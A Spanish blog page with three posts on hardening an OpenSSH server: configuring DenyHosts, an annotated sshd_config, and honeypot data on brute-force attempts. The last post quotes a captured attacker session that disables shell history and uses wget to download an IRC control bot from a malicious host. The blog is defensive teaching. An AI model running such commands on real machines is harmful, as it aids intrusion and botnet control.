Mostrando entradas con la etiqueta SSH. Mostrar todas las entradas
Mostrando entradas con la etiqueta SSH. Mostrar todas las entradas

5 jun 2010

Seguridad en SSH (3)

Ahora ya hemos configurado nuestro servidor SSH y estamos bastante seguros que un ataque por fuerza bruta no tendría éxito contra él. ¿Entonces ya no podemos hacer más que esperar y resistir a las hordas de malévolos atacantes que intentan acceder a nuestro equipo? Obviamente la respuesta es no y veremos como configurar nuestro sistema para tener una mejor defensa ante los atacantes que campan por la red.

Para aumentar nuestro nivel de seguridad vamos usar DenyHosts, un script escrito en Python que se encarga de revisar nuestro log buscando atacantes y añade estos al fichero /etc/hosts.deny. Este fichero no es más que una lista negra con la dirección de las máquinas a las que se ha bloqueado el acceso al sistema. Con lo que una vez identificados los atacantes, y añadidos a la lista negra, evitamos que estos puedan intentar conectarse de nuevo a nuestro sistema.



Para instalar denyhosts basta con ejecutar desde la consola sudo apt-get install denyhosts pues el programa ya se encuentra en los repositorios de Ubuntu. Una vez instalado pasamos a configurarlo editando el fichero /etc/denyhosts.conf. Veamos como siempre las opciones más interesantes:

  • SECURE_LOG = /var/log/auth.log : ruta del fichero de log donde se almacena la información del servidor SSH. Como vimos en otro artículo esta ruta en Ubuntu por defecto es /var/log/auth.
  • HOSTS_DENY = /etc/hosts.deny: ruta del fichero hosts.deny.
  • PURGE_DENY =: periodo de tiempo tras el cual se eliminarán las IPs baneadas del fichero hosts.deny. Si no establecemos ningún valor esta limpieza no se producirá nunca. Si queremos establecer un periodo especificaremos un numero seguido de una letra para indicar el tipo ('m' minutos,'h' horas,'d' días,'w' semanas e 'y' años), por ejemplo cinco días 5d.
  • PURGE_THRESHOLD = 0: número de veces que una IP puede ser eliminada de la lista negra, si se supera el número establecido esta no sera eliminada aunque se cumpla el periodo de PURGE_DENY. El valor 0 desactiva esta opción.
  • BLOCK_SERVICE = sshd: servicio bloqueados al atacante. En el fichero hosts.deny es posible bloquear solo ciertos servicios a las máquinas baneadas por lo que si usamos la opción sshd se bloqueara solo el acceso al servidor SSH. Para bloquear todos los servicios usaremos la opción ALL.
  • DENY_THRESHOLD_INVALID = 5 : número de intentos fallidos para nombres de usuario no válidos (usuarios que no existen en nuestra máquina) tras lo cual se baneará la IP.
  • DENY_THRESHOLD_VALID = 510: número de intentos fallidos para nombres de usuario válidos (usuarios que existen en nuestra máquina excepto el usuario root) tras lo cual se baneará la IP.
  • DENY_THRESHOLD_RESTRICTED = 1 : número de intentos fallidos para nombres de usuario restringidos (usuarios definidos en el fichero WORK_DIR/restricted-usernames) tras lo cual se baneará la IP.
  • WORK_DIR = /var/lib/denyhosts: ruta donde se guardan los fichero del programa.
  • SUSPICIOUS_LOGIN_REPORT_ALLOWED_HOSTS=YES: indica si se informará de la actividad sospechosa de las máquinas en el fichero hosts.allow (del resto siempre se informa). El fichero hosts.allow es una lista blanca con las máquinas que tienen el acceso permitido a nuestra máquina.
  • ADMIN_EMAIL = root@localhost
    SMTP_HOST = localhost
    SMTP_PORT = 25
    : si queremos que el programa nos envíe los informes a nuestra cuenta de correo debemos configurar estas opciones con nuestra dirección y un servidor SMTP válido.
  • PLUGIN_DENY=/usr/bin/true: apunta a un programa que será ejecutado cada vez que se bloquee el acceso a una máquina, pasándole como argumento la IP de esta. Esta opción puede resultar interesante para jugar con Iptables y un par de scripts, por ejemplo podríamos redirigir los atacantes a un honeypot.
  • DAEMON_LOG = /var/log/denyhosts: ubicación del fichero de log donde se guardará la información de Denyhosts.
  • SYNC_SERVER = http://xmlrpc.denyhosts.net:9911: podemos permitir que Denyhosts sincronice sus datos con los del servidor de la aplicación, consiguiendo así una lista mucho más completa.
  • SYNC_UPLOAD = yes: permite que nuestra máquina envíe los hosts baneados al servidor de Denyhosts.
  • AGE_RESET_VALID=5d: establece el periodo de tiempo tras el cual se reiniciará el contador de intentos para los usuarios validos. El resto de opciones AGE_RESET_* son similares para los otros tipos de usuarios.

Una vez configurado Denyhosts procederemos a reiniciar el servicio para aplicar los cambios realizados con la orden sudo /etc/init.d/denyhosts restart

Una de las opciones más interesantes de Denyhosts para jugar con ella es la opción PLUGIN_DENY. Usando esta opción y un script resulta muy fácil redirigir a nuestros atacantes a otro puerto o a otra máquina con un honeypot. Un sencillo script como este sería suficiente para ello:


#!/bin/bash
iptables -t nat -A PREROUTING -s $1 -p tcp --dport 22 -j REDIRECT --to-port 60000

Si queremos que los atacantes no noten nuestro pequeño truco es necesario que la claves privada y pública en el honeypot sean la misma que en nuestro servidor SSH. En caso contrario el cliente SSH detectará que el servidor SSH ha cambiado y alertaría al usuario de un posible ataque de MITM (man in the middle).

27 may 2010

Seguridad en SSH (2)

Después de ver en el artículo anterior los peligros a los que estamos expuestos si tenemos nuestro servidor SSH mal configurado, veamos como configurarlo de manera segura.
Para acceder a la configuración del servidor SSH accedemos a la carpeta /etc/ssh/ donde se encuentra en el fichero sshd_config. Veamos un ejemplo de su contenido:



# Package generated configuration file
# See the sshd(8) manpage for details

# What ports, IPs and protocols we listen for
Port 60000
# Use these options to restrict which interfaces/protocols sshd will bind to
#ListenAddress ::
#ListenAddress 0.0.0.0
Protocol 2
# HostKeys for protocol version 2
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_dsa_key
#Privilege Separation is turned on for security
UsePrivilegeSeparation yes

# Lifetime and size of ephemeral version 1 server key
KeyRegenerationInterval 3600
ServerKeyBits 768

# Logging
SyslogFacility AUTH
LogLevel INFO

# Authentication:
LoginGraceTime 120
PermitRootLogin no
StrictModes yes
AllowUsers mrproper
MaxStartups 3

RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile %h/.ssh/authorized_keys

# Don't read the user's ~/.rhosts and ~/.shosts files
IgnoreRhosts yes
# For this to work you will also need host keys in /etc/ssh_known_hosts
RhostsRSAAuthentication no
# similar for protocol version 2
HostbasedAuthentication no
# Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication
#IgnoreUserKnownHosts yes
# To enable empty passwords, change to yes (NOT RECOMMENDED)
PermitEmptyPasswords no

# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
ChallengeResponseAuthentication no

# Change to no to disable tunnelled clear text passwords
PasswordAuthentication yes

# Kerberos options
#KerberosAuthentication no
#KerberosGetAFSToken no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes

# GSSAPI options
#GSSAPIAuthentication no
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes

X11Forwarding yes
X11DisplayOffset 10
PrintMotd no
PrintLastLog yes
TCPKeepAlive no
ServerAliveInterval 60
#UseLogin no

#MaxStartups 10:30:60
#Banner /etc/issue.net

# Allow client to pass locale environment variables
AcceptEnv LANG LC_*

Subsystem sftp /usr/lib/openssh/sftp-server

UsePAM yes

A continuación veremos las principales opciones de seguridad. Para ver el resto de las opciones puedes recurrir a la extensa información de man sobre ssh (man sshd_config y man sshd). Es aconsejable tener claro como funciona la criptografía asimétrica (o de llave pública) para entender las opciones relacionadas con este tema.

  • Port 22: Establece el puerto en el que escucha el servidor SSH, por defecto se usa el puerto 22. No es aconsejable usar el puerto por defecto pues si usamos este puerto nos arriesgamos a ser blanco de múltiples ataques. El cambio del puerto utilizado nos ahorrará un montón de problemas siendo recomendable usar un puerto en el rango de los puertos privados. Puedes consultar el rango de estos puertos en el fichero /proc/sys/net/ipv4/ip_local_port_range, en Ubuntu 8.04 el rango es 32768 - 61000.
  • ListenAddress 0.0.0.0: Establece la IP en la cual escuchara el servicio, muy importante si queremos dar servicio solamente en nuestra red local; pues nos evitará ataques desde otras redes como internet. Si lo dejamos a 0.0.0.0 el servidor escuchara en todas las ips de la máquina.
  • Protocol 2: Estable el protocolo a usar, es recomendable usar el protocolo 2 pues incluye numerosas mejoras en cuanto a seguridad.
  • HostKey /etc/ssh/ssh_host_rsa_key

    HostKey /etc/ssh/ssh_host_dsa_key


    Ubicación de las claves privadas usadas por el servidor. Es importante controlar el acceso a estas claves pues son usadas para establecer la identidad del servidor y descifrar los mensajes recibidos, por lo que si cayeran en manos de un atacante este podría descifrar el tráfico capturado o suplantar la identidad de nuestro servidor.
  • Clave Pública
  • UsePrivilegeSeparation yes: Si lo establecemos a sí (opción muy recomendada) el servicio se ejecutará con unos privilegios mínimos creando un nuevo hilo con los privilegios propios del usuario una vez autentificado. El objetivo es evitar un escalado de privilegios, por ejemplo por medio del uso de exploits.
  • KeyRegenerationInterval 3600
    ServerKeyBits 768

    Tiempo de vida de la clave del servidor y longitud de la misma, se usa sólo para el protocolo versión 1, es preferible usar el protocolo versión 2.
  • SyslogFacility AUTH: establece que clave de syslog se usará para guardar los logs, podemos ver la configuración de syslog en /etc/syslog.conf. La clave AUTH guarda los mensajes en el fichero /var/log/auth.log. Para ver estos mensajes podemos hacerlos usando cat y filtrando con grep "cat /var/log/auth.log | grep sshd".
  • LogLevel INFO: establece el nivel de información que se guardara en el log, de menos información a más los niveles son: SILENT, QUIET, FATAL, ERROR, INFO, VERBOSE, DEBUG, DEBUG1, DEBUG2, y DEBUG3.
  • LoginGraceTime 120: tiempo en segundos antes de desconectar un usuario conectado pero no autentificado (usuario en el proceso de login).
  • PermitRootLogin no: indica como puede loguearse el super usuario. Las opciones son:
    • “yes” puede loguearse como el resto de usuarios.
    • “without-password” sólo puede loguerase mediante clave pública.
    • “forced-commands-only” permite login con clave pública; pero limitando su uso al lanzamiento de comandos establecidos con la opción "command" de sshd.
    • “no” el usuario root no puede loguearse
    Es preferible establecer esta opción a no y hacer uso de sudo para las tareas que necesiten permisos de root, pues como ya vimos la cuenta de root es una de las que más ataques sufre.
  • StrictModes yes: comprueba que los ficheros de claves de ssh del usuario no sean accesible para otros usuarios de la máquina con lo cual podrían descifrar el tráfico de este.
  • ServerAliveInterval 60: intervalo en segundos en el cual se comprobará periódicamente si el usuario sigue conectado. Este mensaje se envía a través del canal cifrado al contrario que la opción TCPKeepAlive. Lo recomendable es activar ServerAliveInterval y establecer TCPKeepAlive no.
  • AllowUsers usuario1 usuario2 usuario3: lista con los usuarios que pueden acceder vía SSH. Esta opción es una de las más importantes porque nos permite establecer con seguridad que usuarios pueden hacer uso del SSH. Evitando así problemas al instalar servicios que agregan sus propios usuarios, pues estos usuarios son los primeros que un atacante intentaría usar.
  • MaxStartups 1: número máximo de usuarios no autentificados conectados al servidor. Útil a la hora de evitar un consumo excesivo de recursos ante un ataque.
  • PubkeyAuthentication yes: Habilita la autentificación mediante clave pública
  • AuthorizedKeysFile %h/.ssh/authorized_keys: establece la ubicación de las clave públicas de los usuarios (%h hace referencia al directorio home).
  • IgnoreRhosts yes
    HostbasedAuthentication no
    Desabilita los ficheros .rhosts y .shosts de los usuarios. Estos ficheros permiten la conexión remota a otras máquinas sin emplear contraseña.
  • PermitEmptyPasswords no: permite el acceso a usuarios sin clave. Permitir el acceso a estos usuarios es un suicidio, salvo casos muy concretos, desde el punto de vista de la seguridad.
  • PasswordAuthentication yes: establece si se puede realizar el login mediante nombre y contraseña. Es mucho más seguro el uso de claves públicas; pero esto obliga al usuario a tener el archivo de la clave a mano a la hora de acceder al SSH. Si establecemos esta opción a sí es muy importante el uso de claves seguras para todos los usuarios del sistema, evitando así el éxito de los ataques por fuerza bruta.
  • X11Forwarding yes: permite abrir programas en modo gráfico de forma remota. Esto puede plantear algunos problemas de seguridad en el equipo local si el servidor ha sido comprometido. Si un atacante pudiera leer el fichero .Xauthority tendría acceso completo a nuestro escritorio (más información aquí y aquí).
  • AcceptEnv LANG LC_*: Establece que variables de nuestro cliente de SSH serán pasadas al servidor. Algunas variables pueden ser usadas para saltarse restriccines impuestas en el servidor. La configuración por defecto acepta las variables de lenguaje y regionales.
  • MaxAuthTries 6: Establece el número máximo de intentos de autentificación por conexión. Si se alcanza la mitad de este valor los intentos serán escritos al fichero de log.

Es una buena práctica revisar de vez en cuando el fichero de log del servidor para asegurarse que todo marcha bien. Con la orden sudo cat /var/log/auth.log | grep sshd podemos ver la información generada por el demonio sshd y también es interesante revisar los intentos de autentificación inválidos usando sudo cat /var/log/auth.log | grep sshd | grep Fail.

26 may 2010

Seguridad en SSH (1)

Mi programa favorito es sin duda OpenSSH. Te permite abrir una terminal de forma remota, abrir aplicaciones en modo gráfico, crear túneles entre máquinas, redirigir puertos, transferir ficheros, ... y todo ellos de forma segura encriptando el tráfico entre los extremos. OpenSSH goza de un tremendo éxito y se estima que en el 2000 ya lo usaban dos millones de usuarios (fuente); pero esto tiene su lado malo y es que lo hace un blanco muy apetitoso para los atacantes. Existen multitud de máquinas que se dedican a escanear la red buscando equipos con servidores SSH accesibles y a lanzar ataques contra ellos.



OpenSSH inicio su andadura en 1999 y es un desarrollo maduro con muy pocos fallos, aunque inevitablemente surge alguno de vez en cuando; por este motivo la mayoría de los ataques se basan en el uso de fuerza bruta mediante programas como medusa que se dedican a probar un diccionario de nombres de usuario y claves contra una máquina. Para evitar que nuestra máquina se vea comprometida es esencial tener el sistema operativo actualizado y sobre todo una buena configuración del servicio SSH, la cual veremos en otra entrada porque primero nos centraremos en los ataques que podemos sufrir por SSH si tenemos una máquina accesible desde internet.

Para hacernos una idea de los que nos podría pasar si no configuramos adecuadamente nuestro servidor SSH veremos algunos datos que he recolectado en mi máquina utilizando kojoney, un ligero honeypot, escrito en Python, que simula un servidor SSH. Los datos fueron recolectados usando kojoney en el puerto 22 (por defecto) abierto a internet. El periodo de los datos abarca de 03/11/2009 a 25/05/2010 (203 días).

  • Número de conexiones: 26567 (130 conexiones por día), de las cuales 2168 consiguieron autentificarse en el honeypot
  • Nombres de usuario más usados:
    14510 root
    448 test
    315 nagios
    311 oracle
    263 admin
    163 postgres
    144 user
    144 operator
    121 web
    120 ts
    112 guest
    108 teste
    106 zabbix
    99 ftp
    96 backup
    91 office
    76 ftpguest
    66 test1
    60 mysql
    59 webmaster
    55 ftpuser
    54 teamspeak
    50 testuser
    47 master
    46 upload
    43 soporte
    42 usuario
    40 zenoss
    39 shoutcast
    38 temp
    38 svn
  • Diferentes IP atacantes: 428
  • Numero de atacantes por país:

Si observamos los datos se ve claramente que la táctica de los atacantes se basa en atacar servidores SSH mal configurados, es decir servidores que hacen uso de usuarios y claves por defecto. También llama la atención el elevado número de atacantes, con una media de dos atacantes diferentes por día. Para continuar podemos ver los comandos ejecutados por algunos de estos atacantes:


##Lista el directorio actual
ls
##Desactiva los logs
unset HISTSAVE
unset HISTLOG
unset HISTORY
##Comprueba los usuarios conectados a la máquina
w
##Intentar cambiar la clave de usuario
passwd
##Intenta obtener información sobre la CPU
cat /proc/cpuinfo
##Comprueba si wget está instalada
wget
##Comprueba que wget puede acceder a internet
wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe
##Descarga un bot para controlar el sistema por IRC
wget http://nasaundernet.is-the-boss.com/psybnc-linux.tgz

La intención del atacante es bastante clara, obtener acceso a la máquina y cambiar la clave de usuario (hay que evitar la posible competencia) para después instalar un bot IRC con el que controlar la máquina. En este caso se trataba de psyBNC. El motivo de controlar la máquina comprometida mediante un bot IRC es poder utilizar la máquina sin conectarse directamente a ella, dejando de esta forma menos huellas; así como poder controlar todas las máquinas comprometidas simultáneamente desde un único canal IRC.

Seguramente el destino de estos servidores comprometidos sea su uso para enviar spam, servir de plataforma para atacar a otras máquinas, usarlos como proxy, ... La mayoría de estas máquinas son servidores sin actualizar y a los que no se presto el interés necesario a lo hora de configurarlos de forma segura. Para que no nos pase esto en la próxima entrada veremos como configurar un servidor SSH de forma segura.